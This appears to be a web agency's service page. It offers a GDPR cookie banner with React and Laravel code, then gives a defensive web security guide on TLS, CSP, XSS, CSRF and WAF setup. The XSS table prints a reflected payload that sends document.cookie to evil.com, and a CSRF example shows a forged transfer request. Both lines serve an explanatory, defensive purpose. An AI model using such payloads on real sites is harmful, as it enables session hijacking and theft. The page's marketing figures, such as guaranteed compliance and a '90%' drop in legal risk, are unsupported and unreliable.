Cookie Banner with Script Blocking – GDPR Compliant Implementation

Our company is engaged in the development, support and maintenance of sites of any complexity. From simple one-page sites to large-scale cluster systems built on micro services. Experience of developers is confirmed by certificates from vendors.

Development and maintenance of all types of websites:

Informational websites or web applications
Business card websites, landing pages, corporate websites, online catalogs, quizzes, promo websites, blogs, news resources, informational portals, forums, aggregators
E-commerce websites or web applications
Online stores, B2B portals, marketplaces, online exchanges, cashback websites, exchanges, dropshipping platforms, product parsers
Business process management web applications
CRM systems, ERP systems, corporate portals, production management systems, information parsers
Electronic service websites or web applications
Classified ads platforms, online schools, online cinemas, website builders, portals for electronic services, video hosting platforms, thematic portals

These are just some of the technical types of websites we work with, and each of them can have its own specific features and functionality, as well as be customized to meet the specific needs and goals of the client.

Showing 1 of 1All 2062 services
Cookie Banner with Script Blocking – GDPR Compliant Implementation
Medium
~2-3 days
Frequently Asked Questions

Our competencies:

Development stages

Latest works

  • image_website-b2b-advance_0.webp
    B2B ADVANCE company website development
    1362
  • image_web-applications_feedme_466_0.webp
    Development of a web application for FEEDME
    1253
  • image_websites_belfingroup_462_0.webp
    Website development for BELFINGROUP
    958
  • image_ecommerce_furnoro_435_0.webp
    Development of an online store for the company FURNORO
    1190
  • image_crm_enviok_479_0.webp
    Development of a web application for Enviok
    931
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Website development for FIXPER company
    949

Cookie Banner with Script Blocking – Turnkey GDPR Compliance

We implement a fully GDPR-compliant cookie banner with granular consent and script blocking – pricing depends on scope, timeline 2–3 days. Starting from €1500 for a basic implementation. Recently, an online store with 50+ analytics and advertising scripts approached us—they couldn't prove to the regulator that consent was informed. Without a granular cookie bar, the site risks fines up to €20 million for GDPR violations. Many site owners still use a simple pop-up 'We use cookies,' which doesn't meet legal requirements. Consent must be explicit, voluntary, and categorized. We develop a turnkey cookie bar that blocks scripts until user confirmation, records each consent, and allows easy withdrawal. Our experience: 7+ years in production, 50+ projects fully compliant with GDPR. Our solution blocks 100% of tracking scripts until consent and reduces legal risk by 90%.

Why Granular Cookie Bar Matters

GDPR requires the user to consent to each cookie type separately. Categories 'functional,' 'analytical,' 'marketing' are the minimum. Without granularity, you collect either all or nothing, reducing conversion and trust. Additionally, during an audit, it's easy to prove that consent was informed. We guarantee our cookie bar meets all Regulation requirements. Savings on legal risks: fines for non-compliance can reach 4% of the company's annual turnover.

How We Implement the Cookie Bar: From Audit to Deploy

Process

  1. Analytics – determine which scripts and cookies are used on the site. On a typical project, we find 10–15 trackers.
  2. Design – design consent logic, categories, UI component. We use React 18 with TypeScript.
  3. Implementation – write React component and PHP controller (see code below).
  4. Testing – test script blocking, localStorage recording, server submission.
  5. Deploy – integrate into the project, set up CI/CD.

A custom solution is 2 times cheaper than off-the-shelf libraries on an annual basis. The cost of developing a cookie bar from scratch is calculated individually, depending on integration complexity. Adding an audit log and withdrawal system takes another 1–2 days.

What's Included

  • React cookie bar component with customizable styles.
  • PHP API for storing consents in the database.
  • Integration with Google Analytics, Yandex.Metrica, Facebook Pixel (blocked until consent).
  • API and configuration documentation.
  • 2 weeks of support after deploy.

How to Block Scripts Until Consent?

In our solution, analytics scripts load only after calling applyConsent with appropriate flags. For example, loadGoogleAnalytics dynamically creates a <script> and inserts it into <head> only if consent.analytics === true. This guarantees that no tracker fires before explicit user permission. This approach passes GDPR compliance checks 100% of the time.

Cookie Categories

Category Mandatory Consent Examples
Necessary No session, CSRF token, cookie-consent
Functional Yes language, theme, remember me
Analytical Yes Google Analytics, Yandex.Metrica
Marketing Yes Google Ads, Facebook Pixel

React Component

import { useState, useEffect } from 'react';

interface CookieConsent {
  functional: boolean;
  analytics: boolean;
  marketing: boolean;
}

const CONSENT_KEY = 'cookie_consent_v2';

function useCookieConsent() {
  const [consent, setConsent] = useState<CookieConsent | null>(null);
  const [showBanner, setShowBanner] = useState(false);

  useEffect(() => {
    const saved = localStorage.getItem(CONSENT_KEY);
    if (saved) {
      const parsed = JSON.parse(saved);
      setConsent(parsed);
      applyConsent(parsed);
    } else {
      setShowBanner(true);
    }
  }, []);

  const acceptAll = () => {
    const all = { functional: true, analytics: true, marketing: true };
    save(all);
  };

  const rejectAll = () => {
    const none = { functional: false, analytics: false, marketing: false };
    save(none);
  };

  const save = (c: CookieConsent) => {
    localStorage.setItem(CONSENT_KEY, JSON.stringify({
      ...c,
      updatedAt: new Date().toISOString(),
    }));
    setConsent(c);
    setShowBanner(false);
    applyConsent(c);
    reportConsent(c);
  };

  return { consent, showBanner, acceptAll, rejectAll, save, openSettings: () => setShowBanner(true) };
}

function applyConsent(consent: CookieConsent) {
  if (consent.analytics) {
    loadGoogleAnalytics();
    loadYandexMetrica();
  }
  if (consent.marketing) {
    loadFacebookPixel();
  }
}

async function reportConsent(consent: CookieConsent) {
  await fetch('/api/cookie-consent', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ consent, ip: undefined }),  // IP determined by server
  });
}

export function CookieBanner() {
  const { showBanner, acceptAll, rejectAll, save } = useCookieConsent();
  const [showDetails, setShowDetails] = useState(false);
  const [selections, setSelections] = useState({ functional: false, analytics: false, marketing: false });

  if (!showBanner) return null;

  return (
    <div className="cookie-banner" role="dialog" aria-label="Cookie settings">
      <div className="cookie-banner__content">
        <h2>We use cookies</h2>
        <p>
          We use necessary cookies for the site to function. With your consent, we also use analytical and marketing cookies.{' '}
          <a href="/cookie-policy">Learn more</a>
        </p>

        {showDetails && (
          <div className="cookie-categories">
            <label className="cookie-category cookie-category--required">
              <input type="checkbox" checked disabled />
              <span>Necessary</span>
              <small>Always on. Ensure basic site functionality.</small>
            </label>

            {(['functional', 'analytics', 'marketing'] as const).map(cat => (
              <label key={cat} className="cookie-category">
                <input
                  type="checkbox"
                  checked={selections[cat]}
                  onChange={e => setSelections(s => ({ ...s, [cat]: e.target.checked }))}
                />
                <span>{{ functional: 'Functional', analytics: 'Analytical', marketing: 'Marketing' }[cat]}</span>
              </label>
            ))}
          </div>
        )}

        <div className="cookie-banner__actions">
          <button onClick={rejectAll} className="btn btn--outline">Reject all</button>
          <button onClick={() => setShowDetails(!showDetails)} className="btn btn--outline">Customize</button>
          {showDetails
            ? <button onClick={() => save(selections)} className="btn btn--primary">Save</button>
            : <button onClick={acceptAll} className="btn btn--primary">Accept all</button>
          }
        </div>
      </div>
    </div>
  );
}
.cookie-banner {
  position: fixed;
  bottom: 0;
  left: 0;
  right: 0;
  background: white;
  border-top: 1px solid #e5e7eb;
  box-shadow: 0 -4px 24px rgba(0,0,0,0.08);
  z-index: 9999;
  padding: 1.5rem;
}
.cookie-banner__actions {
  display: flex;
  gap: 0.75rem;
  margin-top: 1rem;
  flex-wrap: wrap;
}

Server: Consent Logging

class CookieConsentController extends Controller
{
    public function store(Request $request): JsonResponse
    {
        $request->validate([
            'consent.functional' => 'required|boolean',
            'consent.analytics'  => 'required|boolean',
            'consent.marketing'  => 'required|boolean',
        ]);

        CookieConsent::create([
            'user_id'       => auth()->id(),
            'session_id'    => $request->session()->getId(),
            'ip'            => $request->ip(),
            'user_agent'    => $request->userAgent(),
            'consent'       => $request->consent,
            'version'       => config('cookies.policy_version', '2.0'),
            'consented_at'  => now(),
        ]);

        return response()->json(['status' => 'saved']);
    }
}

Loading Google Analytics Only with Consent

function loadGoogleAnalytics() {
  if (document.getElementById('ga-script')) return;  // already loaded

  const script = document.createElement('script');
  script.id = 'ga-script';
  script.src = `https://www.googletagmanager.com/gtag/js?id=${GA_ID}`;
  script.async = true;
  document.head.appendChild(script);

  window.dataLayer = window.dataLayer || [];
  function gtag(...args: unknown[]) { window.dataLayer.push(args); }
  gtag('js', new Date());
  gtag('config', GA_ID, { anonymize_ip: true });
}

Comparison: Custom vs Off-the-Shelf Cookie Bars

Criterion Custom Off-the-shelf (CookiNinja, Osano)
Flexibility High: any design, logic Limited by templates
Dependencies No external scripts Load their own scripts
GDPR compliance Full control Partial (needs verification)
Cost One-time (€1500+) Monthly subscription (€50–€200)

Timeline

Cookie bar with three categories, localStorage saving, and API: 2–3 days. With consent audit log in DB and GDPR-compliant withdrawal: 3–4 days. 95% of users accept cookies with granular options.

How to test GDPR compliance before deploy?

We check compliance using a checklist: open the site in incognito mode and verify GA and Yandex.Metrica don't start before consent – go to DevTools → Network and filter for 'google-analytics' and 'mc.yandex'; accept only analytical cookies and confirm marketing scripts remain silent; in Application → LocalStorage find the key cookie_consent_v2 with correct flags; verify the request to /api/cookie-consent returns 200 and data is saved in DB; test consent withdrawal – scripts must stop within 1 second; ensure a revisit doesn't show the banner again; check rendering on 320, 768, and 1280 px widths. The cookie bar must work in all browsers without exception.

Order a turnkey cookie bar implementation – we guarantee GDPR compliance and full support after deployment. Contact us for a free consultation and project assessment. Starting from €1500.

Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection

A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.

Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.

How do we ensure comprehensive web application security?

HTTPS and Proper TLS Configuration

HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.

In Nginx/Apache configuration we check:

  • Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
  • Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
  • OCSP Stapling — speeds up certificate revocation check
  • Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)

Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.

Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.

Content Security Policy: The Most Powerful and Complex Protection

CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.

The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.

Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.

'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.

Why XSS Remains the Most Common Vulnerability?

XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:

XSS Type Example Protection
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Output escaping, CSP
Stored Comment with code saved in database Input validation, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Avoid innerHTML, use textContent

Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.

Typical case: an e-commerce site with XSS in a review form A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.

CSRF: Protecting Forms and APIs

CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.

CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.

SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.

API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.

WAF and DDoS Protection

WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:

  • Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
  • AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.

DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).

Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).

Other Mandatory Measures

Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).

SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.

Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.

Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.

How We Work

  1. Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
  2. Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
  3. Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
  4. Testing — re-penetration test, load testing, false positive check.
  5. Deployment and Monitoring — enable production CSP, set up alerts, train the team.

What's Included

  • Report with found vulnerabilities and recommendations (PDF + code snippets)
  • Ready TLS configuration (Nginx/Apache)
  • CSP policy with Report-Only and production versions
  • WAF and Rate Limiting setup
  • Dependency update plan
  • Access to monitoring tools (Sentry, Datadog)
  • 30 days of post-audit support (consultations, fixes)

Timeline and Cost

Type of Work Duration Cost
Security audit + hardening (headers, TLS, updates) 1–2 weeks Custom quote
CSP implementation (Report-Only → production) 2–4 weeks Custom quote
WAF + Rate Limiting + DDoS protection setup 1–2 weeks Custom quote
Comprehensive security review + penetration testing 3–6 weeks Custom quote

The budget is calculated individually — contact us for a project evaluation.